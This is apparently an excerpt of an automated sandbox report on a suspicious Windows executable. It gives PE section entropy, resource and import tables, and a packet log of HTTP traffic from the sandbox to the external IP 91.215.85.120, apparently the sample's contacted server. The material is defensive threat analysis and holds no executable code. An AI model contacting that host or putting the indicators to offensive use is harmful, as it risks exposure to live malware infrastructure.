IMAGE_DIRECTORY_ENTRY_IAT	0x28000	0x1a8	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x260da	0x26200	False	0.7097592213114754	data	7.3353810606741625	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x28000	0x40da	0x4200	False	0.3787878787878788	data	5.3382770469329195	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x2d000	0x977c	0x8600	False	0.03329057835820896	data	0.4426692591450232	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.tls	0x37000	0x1a1	0x200	False	0.02734375	data	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.dag	0x38000	0xc	0x200	False	0.02734375	data	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.muce	0x39000	0x241	0x400	False	0.0166015625	data	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x3a000	0x17db8	0x17e00	False	0.5740449116492147	data	5.945417431952457	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_CURSOR	0x4e1e0	0x134	Targa image data - Map - RLE 64 x 65536 x 1 +32 "\001"	Setsuana	South Africa	0.75
RT_ICON	0x3a900	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	Setsuana	South Africa	0.7922138836772983
RT_ICON	0x3b9c0	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	Setsuana	South Africa	0.4533582089552239
RT_ICON	0x3c868	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	Setsuana	South Africa	0.6001805054151624
RT_ICON	0x3d110	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 0	Setsuana	South Africa	0.6797235023041475
RT_ICON	0x3d7d8	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	Setsuana	South Africa	0.7586705202312138
RT_ICON	0x3dd40	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	Setsuana	South Africa	0.5910788381742739
RT_ICON	0x402e8	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	Setsuana	South Africa	0.6446998123827392
RT_ICON	0x41390	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 0	Setsuana	South Africa	0.7397540983606558
RT_ICON	0x41d18	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	Setsuana	South Africa	0.7943262411347518
RT_ICON	0x421f8	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	Setsuana	South Africa	0.46828358208955223
RT_ICON	0x430a0	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	Setsuana	South Africa	0.6376353790613718
RT_ICON	0x43948	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 0	Setsuana	South Africa	0.7171658986175116
RT_ICON	0x44010	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	Setsuana	South Africa	0.7745664739884393
RT_ICON	0x44578	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	Setsuana	South Africa	0.6446058091286307
RT_ICON	0x46b20	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 0	Setsuana	South Africa	0.7569672131147541
RT_ICON	0x474a8	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	Setsuana	South Africa	0.8404255319148937
RT_ICON	0x47978	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	Setsuana	South Africa	0.44349680170575695
RT_ICON	0x48820	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	Setsuana	South Africa	0.5595667870036101
RT_ICON	0x490c8	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 576, 256 important colors	Setsuana	South Africa	0.5944700460829493
RT_ICON	0x49790	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	Setsuana	South Africa	0.6416184971098265
RT_ICON	0x49cf8	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	Setsuana	South Africa	0.5231327800829876
RT_ICON	0x4c2a0	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	Setsuana	South Africa	0.5931050656660413
RT_ICON	0x4d348	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2400	Setsuana	South Africa	0.6122950819672132
RT_ICON	0x4dcd0	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	Setsuana	South Africa	0.6684397163120568
RT_STRING	0x4e510	0x29e	data	Setsuana	South Africa	0.49701492537313435
RT_STRING	0x4e7b0	0x630	data	Setsuana	South Africa	0.4311868686868687
RT_STRING	0x4ede0	0x7b8	data	Setsuana	South Africa	0.4215587044534413
RT_STRING	0x4f598	0x724	data	Setsuana	South Africa	0.43052516411378555
RT_STRING	0x4fcc0	0x734	data	Setsuana	South Africa	0.41323210412147504
RT_STRING	0x503f8	0xe6	data	Setsuana	South Africa	0.5521739130434783
RT_STRING	0x504e0	0x4ee	data	Setsuana	South Africa	0.4469096671949287
RT_STRING	0x509d0	0x100	data	Setsuana	South Africa	0.55078125
RT_STRING	0x50ad0	0x7f8	data	Setsuana	South Africa	0.4161764705882353
RT_STRING	0x512c8	0x5ee	data	Setsuana	South Africa	0.4440052700922266
RT_STRING	0x518b8	0x356	data	Setsuana	South Africa	0.48009367681498827
RT_STRING	0x51c10	0x1a8	data	Setsuana	South Africa	0.5117924528301887
RT_ACCELERATOR	0x4e1b0	0x30	data	Setsuana	South Africa	0.9583333333333334
RT_GROUP_CURSOR	0x4e318	0x14	Lotus unknown worksheet or configuration, revision 0x1	Setsuana	South Africa	1.3
RT_GROUP_ICON	0x3b9a8	0x14	data	Setsuana	South Africa	1.1
RT_GROUP_ICON	0x42180	0x76	data	Setsuana	South Africa	0.6694915254237288
RT_GROUP_ICON	0x47910	0x68	data	Setsuana	South Africa	0.7019230769230769
RT_GROUP_ICON	0x4e138	0x76	data	Setsuana	South Africa	0.6694915254237288
RT_VERSION	0x4e330	0x1dc	data	Setsuana	South Africa	0.5903361344537815

Imports

DLL	Import
KERNEL32.dll	HeapFree, FreeEnvironmentStringsA, GetModuleHandleW, TlsSetValue, GlobalAlloc, IsProcessInJob, WriteConsoleOutputA, SetConsoleCP, LeaveCriticalSection, DnsHostnameToComputerNameW, SetMessageWaitingIndicator, SetTimeZoneInformation, GetCompressedFileSizeA, CompareStringW, SetCurrentDirectoryA, GetLastError, CreateJobObjectW, CreateNamedPipeA, EnumDateFormatsExA, OpenWaitableTimerA, LoadLibraryA, SetConsoleOutputCP, VirtualLock, AddAtomA, CreateWaitableTimerW, VirtualProtect, QueryPerformanceFrequency, LocalFree, SetFileAttributesW, LCMapStringW, CompareStringA, GetTimeZoneInformation, FreeLibrary, CopyFileExW, GetLongPathNameA, TryEnterCriticalSection, GetStartupInfoW, RaiseException, RtlUnwind, TerminateProcess, GetCurrentProcess, UnhandledExceptionFilter, SetUnhandledExceptionFilter, IsDebuggerPresent, HeapAlloc, HeapCreate, HeapDestroy, VirtualFree, DeleteCriticalSection, FatalAppExitA, EnterCriticalSection, VirtualAlloc, HeapReAlloc, Sleep, GetProcAddress, ExitProcess, WriteFile, GetStdHandle, GetModuleFileNameA, GetModuleFileNameW, FreeEnvironmentStringsW, GetEnvironmentStringsW, GetCommandLineW, SetHandleCount, GetFileType, GetStartupInfoA, TlsGetValue, TlsAlloc, TlsFree, InterlockedIncrement, SetLastError, GetCurrentThreadId, InterlockedDecrement, GetCurrentThread, QueryPerformanceCounter, GetTickCount, GetCurrentProcessId, GetSystemTimeAsFileTime, InitializeCriticalSectionAndSpinCount, HeapSize, SetConsoleCtrlHandler, InterlockedExchange, GetCPInfo, GetACP, GetOEMCP, IsValidCodePage, GetLocaleInfoW, GetLocaleInfoA, WideCharToMultiByte, GetTimeFormatA, GetDateFormatA, GetUserDefaultLCID, EnumSystemLocalesA, IsValidLocale, GetStringTypeA, MultiByteToWideChar, GetStringTypeW, LCMapStringA, SetEnvironmentVariableA
USER32.dll	GetProcessDefaultLayout
ADVAPI32.dll	AbortSystemShutdownA, EqualSid, ReadEventLogW

Possible Origin

Language of compilation system	Country where language is spoken	Map
Setsuana	South Africa

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 7, 2024 05:29:18.296498060 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:18.490669012 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:18.490746975 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:18.492352009 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:18.492508888 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:18.686784983 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:18.687048912 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:18.704577923 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:18.709256887 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:18.709294081 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:18.907115936 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:18.925646067 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:18.925741911 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:18.925801992 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:18.925856113 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:18.925879002 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:18.925924063 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:18.925928116 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:18.926013947 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:18.926050901 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:18.926093102 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:18.926203966 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:18.926244020 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:18.926275969 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:18.926338911 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:18.926376104 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.119956970 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.120009899 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.120094061 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.120202065 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.120313883 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.120426893 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.120594025 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.120734930 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.120779037 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.120791912 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.120819092 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.120902061 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.120946884 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.120965004 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.121002913 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.121036053 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.121167898 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.121232986 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.121290922 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.121316910 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.121371031 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.121381044 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.121450901 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.121630907 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.121689081 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.121720076 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.121779919 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.121798992 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.121812105 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.121853113 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.314799070 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.314857006 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.314919949 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.314937115 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.314987898 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.315033913 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.315479040 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.315565109 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.315620899 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.315664053 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.315675020 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.315709114 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.315777063 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.315951109 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.316035986 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.316075087 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.316147089 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.316190958 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.316205025 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.316263914 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.316298008 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.316339970 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.316368103 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.316411018 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.316467047 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.316556931 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.316615105 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.316656113 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.316656113 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.316698074 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.316711903 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.316812038 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.316881895 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.316895008 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.316920042 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.316950083 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.316989899 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.317030907 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.317073107 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.317085028 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.317230940 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.317322969 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.317365885 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.317385912 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.317409992 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.317419052 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.317480087 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.317537069 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.317575932 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.317579031 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.317617893 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.317650080 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.317734003 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.317783117 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.317823887 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.317826033 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.317858934 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.317902088 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.317975044 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.319488049 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.508637905 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.508655071 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.508688927 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.508713007 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.508827925 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.508872986 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.508912086 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.508982897 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.509016991 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.509049892 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.509157896 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.509205103 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.509274006 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.509322882 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.509366989 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.509422064 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.509556055 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.509644032 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.509696007 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.509744883 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.509799004 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.509839058 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.509875059 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.509910107 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.509938955 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.510019064 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.510065079 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.510082960 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.510134935 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.510188103 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.510236025 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.510262966 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.510338068 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.510385036 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.510435104 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.510492086 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.510512114 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.510561943 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.510602951 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.510663033 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.510725975 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.510788918 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.510819912 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.510890007 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.510940075 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.510963917 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.511017084 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.511157990 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.511159897 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.511225939 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.511291027 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.511334896 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.511395931 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.511451960 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.511461973 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.511498928 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.511574030 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.511595964 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.511643887 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.511734009 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.511748075 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.511779070 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.511821032 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.511823893 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.511864901 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.511904955 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.511933088 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.512001991 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.512022972 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.512069941 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.512094975 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.512136936 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.512207985 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.512268066 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.512327909 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.512335062 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.512392044 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.512480021 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.512521982 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.512566090 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.512593985 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.512628078 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.512639046 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.512674093 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.512701035 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.512738943 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.512789965 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.512818098 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.512900114 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.512960911 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.513025045 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.513092041 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.513142109 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.513299942 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.513382912 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.513439894 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.513478994 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.513489008 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.513524055 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.513528109 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.513593912 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.513638973 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.513657093 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.513711929 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.513756037 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.513765097 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.513813972 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.513881922 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.513885021 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.513935089 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.514007092 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.514008045 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.514055014 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.514169931 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.514210939 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.514302015 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.514318943 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.514342070 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.514343977 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.514385939 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.703335047 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.703351021 CET	80	49735	91.215.85.120	192.168.2.4
